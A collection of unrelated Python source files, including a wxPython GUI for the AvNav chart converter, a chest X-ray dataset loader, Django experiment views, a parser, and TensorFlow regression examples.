                    rents[loc_id] = rent #save object to the dict

            else:
                print('There was an issue with URL: ' + response.url)

        print('\n')

        rent_list = list(rents.values())
        Rent.objects.bulk_create(rent_list)

        #for key,rent in rents.items():
        #    rent.save()

    end = datetime.now()
    print(end-start)

#


import optparse
import sys
import os
import wx
from avnav_gui_design import *
AVNAV_VERSION="development"
try:
    from avnav_gui_version import AVNAV_VERSION
except:
    pass
import subprocess
import re
__author__ = 'andreas'

class  AvnavGui(Avnav):
    def __init__(self, *args, **kwds):
        Avnav.__init__(self, *args, **kwds)
        self.defaultOut=os.path.join(os.path.expanduser("~"),"AvNavCharts")
        self.serverbase=os.path.join(os.path.expanduser("~"),"avnav")
        self.txLogfile.SetValue(os.path.join(self.defaultOut,"avnav-chartconvert.log"))
        self.outputDir.SetValue(self.defaultOut)
        self.server=None
        self.serverRunning=False
        self.converter=None
        self.timer=wx.Timer(self,1)
        self.Bind(wx.EVT_TIMER, self.OnTimer)
        self.timer.Start(500)
        self.urlmap=None
        self.SetTitle("Avnav - %s"%(AVNAV_VERSION))
        pass

    def setServerBase(self, base):
        self.serverbase=base

    def setUrlMap(self, base):
        self.urlmap = base

    def btExitClicked(self, event):
        self.terminateServer()
        self.terminateConverter()
        self.Close(True)

    def getBaseDir(self):
        dir=os.path.join(os.path.dirname(os.path.realpath(__file__)))
        return dir
    def doStartServer(self):
        if self.checkServerRunning():
            return
        script=os.path.join(self.getBaseDir(),"..","server","avnav_server.py")
        args=["xterm","-hold","-e",sys.executable,script,"-c",os.path.join(self.outputDir.GetValue(),"out")]
        if self.urlmap is not None:
            args.append("-u")
            args.append(self.urlmap)
        args.append("-w")
        args.append(self.serverbase)
        args.append(os.path.join(self.serverbase,"avnav_server.xml"))
        self.server=subprocess.Popen(args,cwd=self.getBaseDir())
        self.checkServerRunning()

    def terminateServer(self):
        if self.server is not None:
            try:
                self.server.terminate()
            except:
                pass

    def checkServerRunning(self):
        if self.server is not None:
            try:
                if self.server.poll() is None:
                    #still running
                    if not self.serverRunning:
                        self.serverPid.SetLabel(str(self.server.pid))
                        self.serverPid.SetForegroundColour(wx.Colour(0,255, 0))
                        self.btStartServer.SetLabel("Stop Server")
                        self.serverRunning=True
                    return True
            except:
                try:
                    self.server.terminate()
                except:
                    pass
        #seems to be not running
        if self.serverRunning:
            self.serverPid.SetLabel("server stopped")
            self.serverPid.SetForegroundColour(wx.Colour(255,0, 0))
            self.btStartServer.SetLabel("Start Server")
            self.serverRunning=False
        return False

    def checkConverterRunning(self):
        if self.converter is not None:
            try:
                if self.converter.poll() is None:
                    return True
                #we stopped
                if self.startServer.IsChecked():
                    self.doStartServer()
                self.btStart.SetLabel("Start")
            except:
                self.btStart.SetLabel("Start")
                try:
                    self.converter.terminate()
                except:
                    pass
        self.converter=None
        return False
    def terminateConverter(self):
        if self.checkConverterRunning():
            try:
                self.converter.terminate()
            except:
                pass

    def btStartServerClicked(self, event):
        if self.serverRunning:
            self.terminateServer()
            self.checkServerRunning()
            return
        self.doStartServer()
    def OnTimer(self,evt):
        self.checkServerRunning()
        self.checkConverterRunning()

    def btSelectInputClicked(self, event):
        openFileDialog = wx.FileDialog(self, "Select Chart files or directories", "", "",
                                       "all (*.*)|*.*", wx.FD_OPEN | wx.FD_FILE_MUST_EXIST|wx.FD_MULTIPLE)

        if openFileDialog.ShowModal() == wx.ID_CANCEL:
            return     # the user changed idea...
        filenames=openFileDialog.GetPaths()
        for name in filenames:
            self.inputFiles.AppendText("\n"+name)

    def btEmptyClicked(self, event):
        self.inputFiles.Clear()

    def btStartClicked(self, event):
        if self.checkConverterRunning():
            self.terminateConverter()
            return
        files=re.split("\n",self.inputFiles.GetValue())
        selectedFiles=[]
        for f in files:
            if f != "":
                selectedFiles.append(f)
        if len(selectedFiles) < 1:
            wx.MessageBox("no files selected")
            return
        log=[]
        if self.cbLogfile.IsChecked():
          pass
          log=["-e" ,self.txLogfile.GetValue()]
        args=["xterm","-T","Avnav Chartconvert","-hold","-e",os.path.join(self.getBaseDir(),"..","chartconvert","read_charts.py")]+log+[ "-b",self.outputDir.GetValue()]
        if self.cbNewGemf.IsChecked():
          args.append("-g")
        if self.updateMode.IsChecked():
            args.append("-f")
        for name in selectedFiles:
            args.append(name)
        self.converter=subprocess.Popen(args,cwd=self.getBaseDir())
        self.btStart.SetLabel("Stop")
        self.checkConverterRunning()

    def btOutDefaultClicked(self, event):
        self.outputDir.SetValue(self.defaultOut)

    def btSelectOutClicked(self, event):
        openFileDialog = wx.DirDialog(self, "Select Output Dir", style=1,defaultPath=self.defaultOut)
        if openFileDialog.ShowModal() == wx.ID_CANCEL:
            return     # the user changed idea...
        self.outputDir.SetValue(openFileDialog.GetPath())

    def btLogfileClicked(self, event):
      openFileDialog = wx.FileDialog(self, "Select Logfile", style=1,defaultFile=self.txLogfile.GetValue())
      if openFileDialog.ShowModal() == wx.ID_CANCEL:
            return     # the user changed idea...
      self.txLogfile.SetValue(openFileDialog.GetPath())

if __name__ == "__main__":
    app = wx.PySimpleApp(0)
    #wx.InitAllImageHandlers()
    argv=sys.argv
    usage="usage: %s [-b basedir] [-v viewerbase] " % (argv[0])
    parser = optparse.OptionParser(
        usage = usage,
        version="1.0",
        description='avnav_gui')

    parser.add_option("-b", "--basedir", dest="basedir", help="set the basedir for the server")
    parser.add_option("-u", "--urlmap", dest="urlmap", help="set some urlmap for the server")
    (options, args) = parser.parse_args(argv[1:])
    frame_1 = AvnavGui(None, -1, "")
    if not options.basedir is None:
        frame_1.setServerBase(options.basedir)
    if not options.urlmap is None:
        frame_1.setUrlMap(options.urlmap)
    app.SetTopWindow(frame_1)
    frame_1.Show()
    app.MainLoop()


def solution(left, right):
    res = 0
    for num in range(left, right+1):
        cnt = 1     # cnt는 num이 바뀌면 다시 1로 초기화 되어야 하므로 맨 위쪽이 아닌 여기에 넣는다.
        for i in range(1, num//2+1):
            if num % i == 0:
                cnt += 1
        if cnt % 2 == 0:
            res += num
        else:
            res -= num
    return res

print(solution(13, 17))

# 다른 풀이 (제곱수의 약수는 홀수개이고, 제곱수가 아닌 수들의 약수는 짝수개임을 이용!)
def solution(left, right):
    answer = 0
    for i in range(left,right+1):
        if int(i**0.5)==i**0.5:     # int(i**0.5)(i에 루트씌운 값을 정수형으로 변환)와 그냥 i**0.5가 같으면 제곱수!
            answer -= i
        else:
            answer += i
    return answer

python_programmers_school/level 1/약수의 개수와 덧셈.py

약수의 개수와 덧셈.py


import os
import torch
import torchvision
import pandas as pd
from PIL import Image as pil
from PIL import ImageOps as pilops
from sklearn import model_selection

ROOT_DATAPATH = 'datasets/covidx-cxr2'
SUBSET_DATAPATH = 'datasets/covidx-cxr2/subset/'

class CXR2Dataset(torch.utils.data.Dataset):
    def __init__(self, path, dataframe, equalize=False, augment=False):
        self.path = path
        self.equalize = equalize

        # Extract the filenames and classes from the dataframe
        self.filenames = dataframe['filename'].to_numpy()
        self.targets = dataframe['class'].to_numpy()

        # Initialize data transforms
        transforms = [torchvision.transforms.ToTensor()]
        if augment:
            transforms.append(torchvision.transforms.RandomAffine(
                degrees=10.0,
                translate=(0.1, 0.1),
                scale=(0.9, 1.1),
                interpolation=torchvision.transforms.InterpolationMode.BILINEAR  # use bilinear interpolation
            ))
        transforms.append(torchvision.transforms.Normalize((0.5,), (0.5,)))  # normalize to (-1, 1)
        self.transform = torchvision.transforms.Compose(transforms)

    def __len__(self):
        return len(self.filenames)

    def __getitem__(self, i):
        # Obtain the filename and target
        filename = self.filenames[i]
        target = self.targets[i]

        # Load and transform the image
        with pil.open(os.path.join(self.path, filename)) as img:
            if self.equalize:
                img = pilops.equalize(img)
            data = self.transform(img)
        return data, target

    def get_targets(self):
        return self.targets

class CXR2CompetitionDataset(torch.utils.data.Dataset):
    def __init__(self, path, equalize=False):
        self.path = path
        self.equalize = equalize

        # Initialize data transforms
        self.transform = torchvision.transforms.Compose([
            torchvision.transforms.ToTensor(),
            torchvision.transforms.Normalize((0.5,), (0.5,))  # normalize to (-1, 1)
        ])

    def __len__(self):
        return len(os.listdir(self.path))

    def __getitem__(self, i):
        # Obtain the filepath
        idx = i + 1
        filepath = os.path.join(self.path, '{}.png'.format(idx))

        # Load and transform the image
        with pil.open(filepath) as img:
            if self.equalize:
                img = pilops.equalize(img)
            data = self.transform(img)
        return data

class CXR2SubsetDataset(torch.utils.data.Dataset):
    def __init__(self, path, equalize=False):
        self.path = path
        self.equalize = equalize
        self.listdir = []
        listdir = sorted(os.listdir(self.path))
        for directory in listdir:
            self.listdir.append(os.path.join(SUBSET_DATAPATH + 'images', directory))

        # Initialize data transforms
        self.transform = torchvision.transforms.Compose([
            torchvision.transforms.ToTensor(),
            torchvision.transforms.Normalize((0.5,), (0.5,))  # normalize to (-1, 1)
        ])

    def __len__(self):
        return len(os.listdir(self.path))

    def __getitem__(self, i):
        # Obtain the filepath
        filepath = self.listdir[i]
        # Load and transform the image
        with pil.open(filepath) as img:
            if self.equalize:
                img = pilops.equalize(img)
            data = self.transform(img)
        return data

def load_train_valid_datasets(valid_size=0.1, equalize=False, augment=True, random_state=1816):
    # Load the train dataframe
    filepath = os.path.join(ROOT_DATAPATH, 'train', 'train.csv')
    df = pd.read_csv(filepath, usecols=['filename', 'class'])

    # Split the dataframe in train and validation
    train_df, valid_df = model_selection.train_test_split(
        df, test_size=valid_size, shuffle=True, stratify=df['class'], random_state=random_state
    )

    # Instantiate the datasets (notice data augmentation on train data)
    images_path = os.path.join(ROOT_DATAPATH, 'train', 'images')
    train_data = CXR2Dataset(images_path, train_df, equalize=equalize, augment=augment)
    valid_data = CXR2Dataset(images_path, valid_df, equalize=equalize, augment=False)
    return train_data, valid_data

def load_test_dataset(equalize=False):
    # Load the test dataframe
    filepath = os.path.join(ROOT_DATAPATH, 'test', 'test.csv')
    test_df = pd.read_csv(filepath, usecols=['filename', 'class'])

    # Instantiate the dataset
    images_path = os.path.join(ROOT_DATAPATH, 'test', 'images')
    test_data = CXR2Dataset(images_path, test_df, equalize=equalize, augment=False)
    return test_data

def load_competition_dataset(equalize=False):
    # Load the competition dataset
    images_path = os.path.join(ROOT_DATAPATH, 'competition', 'images')
    competition_data = CXR2CompetitionDataset(images_path, equalize=equalize)
    return competition_data

def load_subset_dataset(equalize=False):
    images_path = os.path.join(ROOT_DATAPATH, 'subset', 'images')
    competition_data = CXR2SubsetDataset(images_path, equalize=equalize)
    return competition_data


import time

print(time.time())  # nr de secunde de la 01.01.1970, in float
# Ca sa masuram timpul de executie:
t1 = time.monotonic()
t2 = time.perf_counter()
s = 0
for i in range(1, 10000):
    s += i
tf1 = time.monotonic() - t1
tf2 = time.perf_counter() - t2
print(tf1)
print(tf2)
# time.perf_counter_ns()
time.sleep(3)
print("dormi Costi?")

print(time.process_time())  # timpul in secunde pe care l-a adunat programul curent pe procesor


#!/usr/bin/python
# -*- coding: UTF-8 -*-

import os, sys, uuid, features, general

import sqlite3 as sqlite
from sqlite3 import Error

from mimetypes import MimeTypes

# Define the default extensions.
QT_IMG = [".BMP", ".GIF", ".JPG", ".JPEG", ".PNG", ".PBM", ".PGM", ".PPM", ".XBM", ".XPM"]
IMG_EXT = [".JPG", ".TIF", ".JPEG", ".TIFF", ".PNG", ".JP2", ".J2K", ".JPF", ".JPX", ".JPM"]
RAW_EXT = [".RAW", ".ARW"]
SND_EXT = [".WAV"]

def executeSqlQuery(query, value):
    global DATABASE

    # Establish the connection to the DataBase file.
    conn = sqlite.connect(DATABASE)

    if conn is not None:
        # Instantiate the cursor for query.
        cur = conn.cursor()

        # Execute the query.
        cur.execute(query, value)

        # Commit the result of the query.
        conn.commit()

    conn.close()

def getFileEditInfo(path, key, alias="", status="Unknown",source="Unknown", lock=False, operation="Unknown", caption="",descriptions=""):
    fil_uuid = str(uuid.uuid4())
    con_id = ""
    mat_id = ""
    relative_path = ""
    operating_application = "Custom Python Code"

    if lock == True:
        is_lock = "TRUE"
    else:
        is_lock = "FALSE"

    mime = MimeTypes()
    mime_type = mime.guess_type(path)

    # Extract the directories from the full path.
    dirs = path.split("/")

    # Get the indecies of starting and ending point for the relative path.
    start = dirs.index(key)
    end = len(dirs)

    # Reconstruct the relative path to the source.
    for i in range(start, end):
        # Get the consolidation uuid.
        if str(dirs[i-1]) == "Consolidation":
            if len(dirs[i]) == 36:
                con_id = dirs[i]
            else:
                print("File Name Error in Consolidation")

        # Get the materials uuid.
        if str(dirs[i-1]) == "Materials":
            if len(dirs[i]) == 36:
                mat_id = dirs[i]
            else:
                print("File Name Error in Materials")

        # Get the relative path
        relative_path = str(relative_path) + "/" + str(dirs[i])

    dct_file = {
            'uuid': str(uuid.uuid4()),
            'con_id': con_id,
            'mat_id': mat_id,
            'filename': relative_path.lstrip("/"),
            'mime_type' : str(mime_type[0]),
            'alias' : alias,
            'status' : status,
            'public' : "FALSE",
            'lock' : is_lock,
            'source' : source,
            'operation' : operation,
            'operating_application' : operating_application,
            'caption' : caption,
            'descriptions' : descriptions
        }
    return(dct_file)

def updateFile_auto(dct_file):
    # Check the null value in each entry.
    for key, value in dct_file.items():
        if value == None or value == "":
            dct_file[key] = "NULL"

    # Initialyze the consolidation ID.
    fil_uuid = dct_file['uuid']
    fil_cuid = dct_file['con_id']
    fil_muid = dct_file['mat_id']
    fil_fnam = dct_file['filename']
    fil_mime = dct_file['mime_type']
    fil_alia = dct_file['alias']
    fil_stts = dct_file['status']
    fil_mpub = dct_file['public']
    fil_lock = dct_file['lock']
    fil_srce = dct_file['source']
    fil_oper = dct_file['operation']
    fil_opap = dct_file['operating_application']
    fil_capt = dct_file['caption']
    fil_desc = dct_file['descriptions']

    # Update the existing record.
    fil_vals = [fil_uuid, fil_cuid, fil_muid, fil_fnam, fil_mime, fil_alia, fil_stts, fil_mpub, fil_lock,fil_srce, fil_oper, fil_opap, fil_capt, fil_desc]

    # Create the SQL query for updating the new consolidation.
    sql_fil_ins = """INSERT INTO file (
                    uuid,
                    con_id,
                    mat_id,
                    filename,
                    mime_type,
                    alias_name,
                    status,
                    make_public,
                    is_locked,
                    source,
                    file_operation,
                    operating_application,
                    caption,
                    descriptions
                ) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)"""

    # Execute the query.
    executeSqlQuery(sql_fil_ins, fil_vals)

def main(root_dir):
    global DATABASE

    DATABASE = os.path.join(os.path.join(root_dir, "Table"), "project.db")

    res_img = general.getFilesWithExtensionList(root_dir, IMG_EXT)
    res_raw = general.getFilesWithExtensionList(root_dir, RAW_EXT)
    res_snd = general.getFilesWithExtensionList(root_dir, SND_EXT)

    for img in res_img:
        res_dict_img = getFileEditInfo(img, "Consolidation")
        updateFile_auto(res_dict_img)

    for raw in res_raw:
        res_dict_raw = getFileEditInfo(raw, "Consolidation", status="Original", lock=True, source="None", operation="Unknown")
        updateFile_auto(res_dict_raw)

    for snd in res_snd:
        res_dict_snd = getFileEditInfo(snd, "Consolidation", status="Unknown", lock=True, source="None", operation="Unknown")
        updateFile_auto(res_dict_snd)

if __name__ == '__main__':
    main()


import simplejson
from django.shortcuts import render
from itertools import cycle
from .utils import pairwise
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.decorators import login_required
from django.views.decorators.http import require_POST

from users import read_excel
from .models import Experiment, Item, Judgement, Level, Factor, ItemLevel

def index(request):
    """serves the homepage"""
    return render(request, "users/home.html")

@login_required
def experiments(request):
    """lists the users experiments with item counts and times they are filled"""
    users_experiments = Experiment.objects.filter(user_id=request.user.pk)
    items_count = []
    fill_count = []
    for experiment in users_experiments:
        item_count = Item.objects.filter(experiment_id=experiment.id).count()
        items_count.append(item_count)
        if item_count == 0:
            fill_count.append(0)
        else:
            fill = 0
            for item in Item.objects.filter(experiment_id=experiment.id):
                fill += Judgement.objects.filter(item_id=item.id).count()
            fill_count.append(fill)
    experiments_zipped = zip(users_experiments, items_count, fill_count)
    return render(request, "users/user.html", {'experiments': experiments_zipped})

@login_required
def create_experiment(request):
    """serves the experiment creator page"""
    return render(request, "users/create_experiment.html")

@login_required
def create_experiment_upload(request):
    """receives the excel file and loads the metadata to the database"""
    schema = simplejson.loads(request.POST['schema'])
    experiment = Experiment()
    experiment.name = request.POST['experiment_name']
    experiment.user_id = request.user
    experiment.save()
    file_name, file = request.FILES.popitem()
    levels = read_excel.insert_factors(schema, experiment)
    file_read, factor_positions = read_excel.read_file(file[0])
    read_excel.put_into_db(file_read, levels, experiment)
    return HttpResponseRedirect(f'/experiment/{experiment.pk}/edit')

@login_required
def edit_experiment(request, experiment_id):
    """lists the items of the experiment with the factors and items it belongs to"""
    exp = Experiment.objects.get(id=experiment_id)
    items = Item.objects.filter(experiment_id=experiment_id)
    item_level = ItemLevel.objects.filter(item__experiment_id=experiment_id)
    factors = Factor.objects.filter(experiment_id=experiment_id)
    levels = Level.objects.filter(factor__experiment_id=experiment_id)
    return render(request, "users/edit_experiment.html", {"experiment": exp, "items": items,
                                                          "levels": levels, "factors": factors,
                                                          "item_levels": item_level})

def view_experiment(request, experiment_id):
    """runs the experiment as a filler - displays the intro / item"""
    experiment = Experiment.objects.get(id=experiment_id)
    first_item = Item.objects.get(experiment_id=experiment_id)
    return render(request, "users/run_experiment.html", {"experiment": experiment, 'first_item': first_item})

def view_next_experiment_item(request, experiment_id, item_id):
    """gets the next item in the experiment to show"""
    experiment = Experiment.objects.get(id=experiment_id)
    items = Item.objects.filter(experiment_id=experiment_id)
    for elem, next_elem in pairwise(cycle(items)):
        if elem.id == item_id:
            item = next_elem
            break
    else:
        item = {}
    return render(request, "users/run_experiment.html", {"experiment": experiment, 'item': item})

@require_POST
def submit_judgement(request):
    """inserts the judgement of the filler to the database"""
    data = simplejson.loads(request.body)
    Judgement(judgement=data['judgement'], item_id=data['item_id']).save()
    return HttpResponse(b'success')

@require_POST
def delete_experiment(request):
    """deletes the experiment and all items, judgements, levels and factors"""
    data = simplejson.loads(request.body)
    Experiment.objects.get(id=data["experiment_id"]).delete()
    return HttpResponse(b'success')


price_vegetables = float(input())
price_fruits = float(input())
vegetables_kg = int(input())
fruits_kg = int(input())

fruits_income = price_fruits * fruits_kg
vegetables_income = price_vegetables * vegetables_kg

total_income = fruits_income + vegetables_income
total_income_euro = total_income / 1.94

print(f'{total_income_euro:.2f}')


str=(input("Enter the string: "))
occ={}
for x in str:
    if x in occ:
        occ[x]+=1
    else:
        occ[x]=1
print(occ)
cha=(input("Enter character: "))
if cha in occ:
    print(f"The occurence of {cha} is: ",occ[cha])
else:
    print("Character not found in the given string")


from datetime import datetime

from sqlalchemy import Column, DateTime, Integer

from app.config import Base

class BaseModel(Base):
    """
    Base class for all models
    """

    __abstract__ = True

    id = Column(Integer, primary_key=True)
    created_at = Column(DateTime, nullable=False, default=datetime.now())
    updated_at = Column(DateTime, default=datetime.now())

    def __init__(self, *args, **kwargs):
        """
        Initialize base model
        """
        super().__init__(*args, **kwargs)


#!/usr/bin/env python

import sys
from dataclasses import replace
from enum import IntEnum
from parser.parser.exceptions import (
    MissingNonTerminalTypes,
    MissingRootNonTerminalType,
    ParseError,
    UnexpectedNonTerminalTypes,
)
from parser.parser.models import (
    ConcatenationExpression,
    ConjunctionExpression,
    Expression,
    NonTerminalExpression,
    OptionalExpression,
    RepeatExpression,
    TerminalExpression,
    Tree,
)
from parser.tokenizer.tokenizer import Token
from typing import Dict, List, Optional, Set

class Parser:
    def __init__(
        self,
        *,
        filename: str,
        code: str,
        tokens: List[Token],
        non_terminal_rules: Dict[IntEnum, Expression],
        pruned_non_terminals: Set[IntEnum],
        root_token: str = "ROOT",
        verbose: bool = False,
    ) -> None:
        self.filename = filename
        self.code = code
        self.tokens = tokens
        self.non_terminal_rules = non_terminal_rules
        self.pruned_non_terminals = pruned_non_terminals
        self.root_token = root_token
        self.verbose = verbose

    def parse(self) -> Tree:
        self._check_non_terminal_rules()

        non_terminal_enum_type = type(next(iter(self.non_terminal_rules.keys())))
        root_non_terminal = non_terminal_enum_type[self.root_token]
        root_expr = self.non_terminal_rules[root_non_terminal]

        tree = self._parse(root_expr, 0)
        tree.token_type = root_non_terminal

        if tree.token_count != len(self.tokens):
            assert tree.token_count < len(self.tokens)
            first_unexpected_token = self.tokens[tree.token_count]
            raise ParseError(self.filename, self.code, first_unexpected_token.offset)

        empty_tree = Tree(0, 0, root_non_terminal, [])

        pruned_tree = _prune_no_token_type(tree) or empty_tree

        pruned_tree = (
            _prune_by_token_types(pruned_tree, self.pruned_non_terminals) or empty_tree
        )

        return pruned_tree

    def _print_parse_debug_info(self, expr: Expression, offset: int) -> None:
        if not self.verbose:
            return

        expr_token_type = "<None>"
        if isinstance(expr, (TerminalExpression, NonTerminalExpression)):
            expr_token_type = expr.token_type.name

        if offset >= len(self.tokens):
            token_type = "<EOF>"
        else:
            token_type = self.tokens[offset].type.name

        print(
            f"DEBUG | Parser"
            + f" | offset={offset:>5}"
            + f" | token_type={token_type:>30}"
            + f" | try to match with {expr_token_type:>30}",
            file=sys.stderr,
        )

    def _parse(self, expr: Expression, offset: int) -> Tree:
        self._print_parse_debug_info(expr, offset)

        if offset >= len(self.tokens):

            if isinstance(expr, (RepeatExpression, OptionalExpression)):
                # No more tokens available, but we don't need any
                return Tree(offset, 0, None, [])

            raise ParseError(self.filename, self.code, offset)

        parse_funcs = {
            ConcatenationExpression: self._parse_concatenation,
            ConjunctionExpression: self._parse_conjunction,
            NonTerminalExpression: self._parse_non_terminal,
            OptionalExpression: self._parse_optional,
            RepeatExpression: self._parse_repeat,
            TerminalExpression: self._parse_terminal,
        }

        # Should not fail, so if this raises a KeyError, we want the parser to crash.
        parse_func = parse_funcs[type(expr)]

        return parse_func(expr, offset)

    def _parse_conjunction(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, ConjunctionExpression)

        parsed: Optional[Tree] = None

        for child in expr.children:
            try:
                parsed = self._parse(child, offset)
                break
            except ParseError:
                continue

        if not parsed:
            raise ParseError(self.filename, self.code, offset)

        return Tree(
            parsed.token_offset,
            parsed.token_count,
            None,
            [parsed],
        )

    def _parse_repeat(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, RepeatExpression)

        children: List[Tree] = []
        child_offset = offset

        while True:
            try:
                parsed = self._parse(expr.child, child_offset)
            except ParseError:
                break
            else:
                children.append(parsed)
                child_offset += parsed.token_count

        return Tree(
            offset,
            child_offset - offset,
            None,
            children,
        )

    def _parse_optional(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, OptionalExpression)

        children: List[Tree] = []
        length = 0

        try:
            parsed = self._parse(expr.child, offset)
            children = [parsed]
            length = parsed.token_count
        except ParseError:
            pass

        return Tree(
            offset,
            length,
            None,
            children,
        )

    def _parse_concatenation(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, ConcatenationExpression)

        sub_trees: List[Tree] = []

        child_offset = offset

        for child in expr.children:
            parsed = self._parse(child, child_offset)
            sub_trees.append(parsed)
            child_offset += parsed.token_count

        return Tree(
            offset,
            child_offset - offset,
            None,
            sub_trees,
        )

    def _parse_terminal(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, TerminalExpression)

        if self.tokens[offset].type != expr.token_type:
            raise ParseError(self.filename, self.code, offset)

        return Tree(offset, 1, expr.token_type, [])

    def _parse_non_terminal(self, expr: Expression, offset: int) -> Tree:
        assert isinstance(expr, NonTerminalExpression)

        non_terminal_expansion = self.non_terminal_rules[expr.token_type]
        child = self._parse(non_terminal_expansion, offset)
        return Tree(child.token_offset, child.token_count, expr.token_type, [child])

    def _check_non_terminal_rules(self) -> None:
        tokens_enum = type(list((self.non_terminal_rules.keys()))[0])

        unexpected_keys = self.non_terminal_rules.keys() - set(tokens_enum)
        missing_keys: Set[IntEnum] = set(tokens_enum) - self.non_terminal_rules.keys()

        if "ROOT" not in tokens_enum.__members__:
            raise MissingRootNonTerminalType

        if missing_keys:
            raise MissingNonTerminalTypes(missing_keys)

        if unexpected_keys:
            raise UnexpectedNonTerminalTypes(unexpected_keys)

def _get_descendants_without_token_types(
    tree: Tree, token_types: Set[IntEnum]
) -> List[Tree]:
    with_token_type: List[Tree] = []

    for child in tree.children:
        if child.token_type in token_types:
            with_token_type += _get_descendants_without_token_types(child, token_types)
        else:
            with_token_type.append(
                replace(
                    child,
                    children=_get_descendants_without_token_types(child, token_types),
                )
            )

    return with_token_type

def _prune_by_token_types(tree: Tree, token_types: Set[IntEnum]) -> Optional[Tree]:
    descendants_with_token_type = _get_descendants_without_token_types(
        tree, token_types
    )

    children = [
        Tree(
            child.token_offset,
            child.token_count,
            child.token_type,
            _get_descendants_without_token_types(child, token_types),
        )
        for child in descendants_with_token_type
    ]

    return Tree(tree.token_offset, tree.token_count, tree.token_type, children)

def _get_descendants_with_token_type(tree: Tree) -> List[Tree]:
    with_token_type: List[Tree] = []

    for child in tree.children:
        if child.token_type is None:
            with_token_type += _get_descendants_with_token_type(child)
        else:
            with_token_type.append(
                replace(child, children=_get_descendants_with_token_type(child))
            )

    return with_token_type

def _prune_no_token_type(tree: Tree) -> Optional[Tree]:
    assert tree.token_type is not None

    return Tree(
        tree.token_offset,
        tree.token_count,
        tree.token_type,
        _get_descendants_with_token_type(tree),
    )


# !/usr/bin/python
# -*- coding: UTF-8 -*-

"""
    线性回归步骤：
        1、准备特征数据和目标值
        2、建立模型 y = wx + b,主要求解w,b的值
        3、计算损失值：误差loss均方误差（y1-y1'）^2 + ... + (yn - yn')^2 / n 其中：yn为特征值矩阵，yn'为平均值矩阵
        4、梯度下降，优化损失过程，需要指定学习率
    矩阵运算：
        乘法：tf.matmul(x, y)
        平方：tf.square(error)
        均值：tf.reduce_mean(error)
    梯度下降：
        tf.train.GradientDescentOptimizer(learning_rate)
        method: minimize(loss)
        return: 梯度下降op
        学习率：
            如果学习率过大会出现梯度消失/梯度爆炸导致NaN
            优化：
                1、重新设计网络
                2、调整学习率
                3、使用梯度截断
                4、使用激活函数
    变量作用域：
        tf.variable_scope(<scope_name>)
        目的：将每一个步骤的变量集中化，达到更加清晰的目的
        如果作用域内名字相同，会增加_1的方式来呈现
        作用：让模型代码更加清晰，作用分明
    收集变量：
        tf.summary.scalar(<name>)
        增加可观察的数值
        1、收集变量
        2、合并写入事件文件
    自定义命令行参数(弃用)：
        声明：
            tf.flags.DEFINE_integer(<name>, <default_value>, <desc>)
            tf.flags.DEFINE_string(<name>, <default_value>, <desc>)
            ...
        获取参数：
            定义：
                FLAGS = tf.flags.FLAGS
            获取：
                FLAGS.<name>
        运行命令：
            python <py_name> --<name>=<value>
"""
import os
import tensorflow as tf

# tf.flags.DEFINE_integer("max_step", 2000, "最大训练次数")
#
# FLAGS = tf.flags.FLAGS

def tensorflow_linear_regression():
    with tf.variable_scope("data"):
        # 1、准备特征值和目标值
        x = tf.random_normal([100, 1], mean=1.75, stddev=0.5, name="x")
        # 矩阵相乘必须是二维(为了模拟效果而设定固定值来训练)
        y_true = tf.matmul(x, [[0.7]]) + 0.8

    with tf.variable_scope("model"):
        # 2、建立回归模型，随机给权重值和偏置的值，让他去计算损失，然后在当前状态下优化
        # 模型 y = wx + b, w的个数根据特征数据而定，b随机
        # 其中Variable的参数trainable可以指定变量是否跟着梯度下降一起优化(默认True)
        w = tf.Variable(tf.random_normal([1, 1], mean=0.0, stddev=1.0), name="w", trainable=True)
        b = tf.Variable(0.0, name="b")
        # 预测值
        y_predict = tf.matmul(x, w) + b

    with tf.variable_scope("loss"):
        # 3、建立损失函数，均方误差
        loss = tf.reduce_mean(tf.square(y_true - y_predict))

    with tf.variable_scope("optimizer"):
        # 4、梯度下降优化损失
        # 学习率的控制非常重要，如果过大会出现梯度消失/梯度爆炸导致NaN
        train_op = tf.train.GradientDescentOptimizer(learning_rate=0.1).minimize(loss)

    # 1）收集变量
    tf.summary.scalar("losses", loss)
    tf.summary.histogram("ws", w)

    # 2）合并变量
    merged = tf.summary.merge_all()

    tf.add_to_collection("y_predict", y_predict)

    # 定义一个初始化变量的op
    init_op = tf.global_variables_initializer()

    # 定义保存模型
    saver = tf.train.Saver()

    # 通过绘画运行程序
    with tf.Session() as sess:
        sess.run(init_op)
        print("运行前，权重值：%f, 偏置：%f" % (w.eval(), b.eval()))
        file_write = tf.summary.FileWriter("tmp/summary/regression", sess.graph)

        # 加载上次训练的模型结果
        if os.path.exists("model/checkpoint/checkpoint"):
            saver.restore(sess, "model/checkpoint/model")

        # 循环训练
        for i in range(2000):
        # python tensorflow_linear_regression_demo.py --max_step=1000
        # for i in range(FLAGS.max_step):
            sess.run(train_op)
            print("运行 %d 后，权重值：%f, 偏置：%f" % (i + 1, w.eval(), b.eval()))

            # 运行合并后的数据
            summary = sess.run(merged)
            file_write.add_summary(summary, i)

            # 保存模型
            if (i + 1) % 100 == 0:
                saver.save(sess, "model/checkpoint/model")

if __name__ == '__main__':
    tensorflow_linear_regression()


import argparse
import logging
import os, json, math, time, shutil
import numpy as np

import pathlib2
import tensorflow as tf

DEVELOP_MODE = False
NBUCKETS = 5 # for embeddings
NUM_EXAMPLES = 1000*1000 * 20 # assume 20 million examples
DNN_HIDDEN_UNITS = '128,64,32'

CSV_COLUMNS  = ('duration,end_station_id,bike_id,ts,day_of_week,start_station_id' +
                ',start_latitude,start_longitude,end_latitude,end_longitude' +
                ',euclidean,loc_cross,prcp,max,min,temp,dewp').split(',')
LABEL_COLUMN = 'duration'
DEFAULTS     = [[0.0],['na'],['na'],[0.0],['na'],['na'],
               [0.0],[0.0],[0.0],[0.0],
               [0.0],['na'],[0.0],[0.0],[0.0],[0.0], [0.0]]

STRATEGY = tf.distribute.MirroredStrategy()
TRAIN_BATCH_SIZE = 64 * STRATEGY.num_replicas_in_sync

def load_dataset(pattern, batch_size=1):
